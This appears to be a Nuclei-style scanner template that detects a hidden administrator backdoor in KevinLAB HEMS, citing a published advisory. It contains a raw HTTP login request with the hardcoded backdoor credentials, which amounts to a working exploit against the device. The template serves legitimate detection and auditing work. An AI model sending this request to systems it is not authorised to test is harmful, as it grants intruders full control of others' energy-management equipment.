kevinlab-hems-backdoor: KevinLAB HEMS - Backdoor Detection

id: kevinlab-hems-backdoor

info:
  name: KevinLAB HEMS - Backdoor Detection
  author: gy741
  severity: critical
  description: |
    KevinLAB HEMS has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the HEMS is offering remotely.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php
  metadata:
    max-request: 1
  tags: kevinlab,default-login,backdoor,vuln

http:
  - raw:
      - |
        POST /dashboard/proc.php?type=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Accept-Encoding: gzip, deflate
        Connection: close

        userid=kevinlab&userpass=kevin003

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<meta http-equiv="refresh" content="0; url=/"></meta>'

      - type: word
        words:
          - '<script> alert'
        negative: true

      - type: word
        part: header
        words:
          - 'PHPSESSID'

      - type: status
        status:
          - 200
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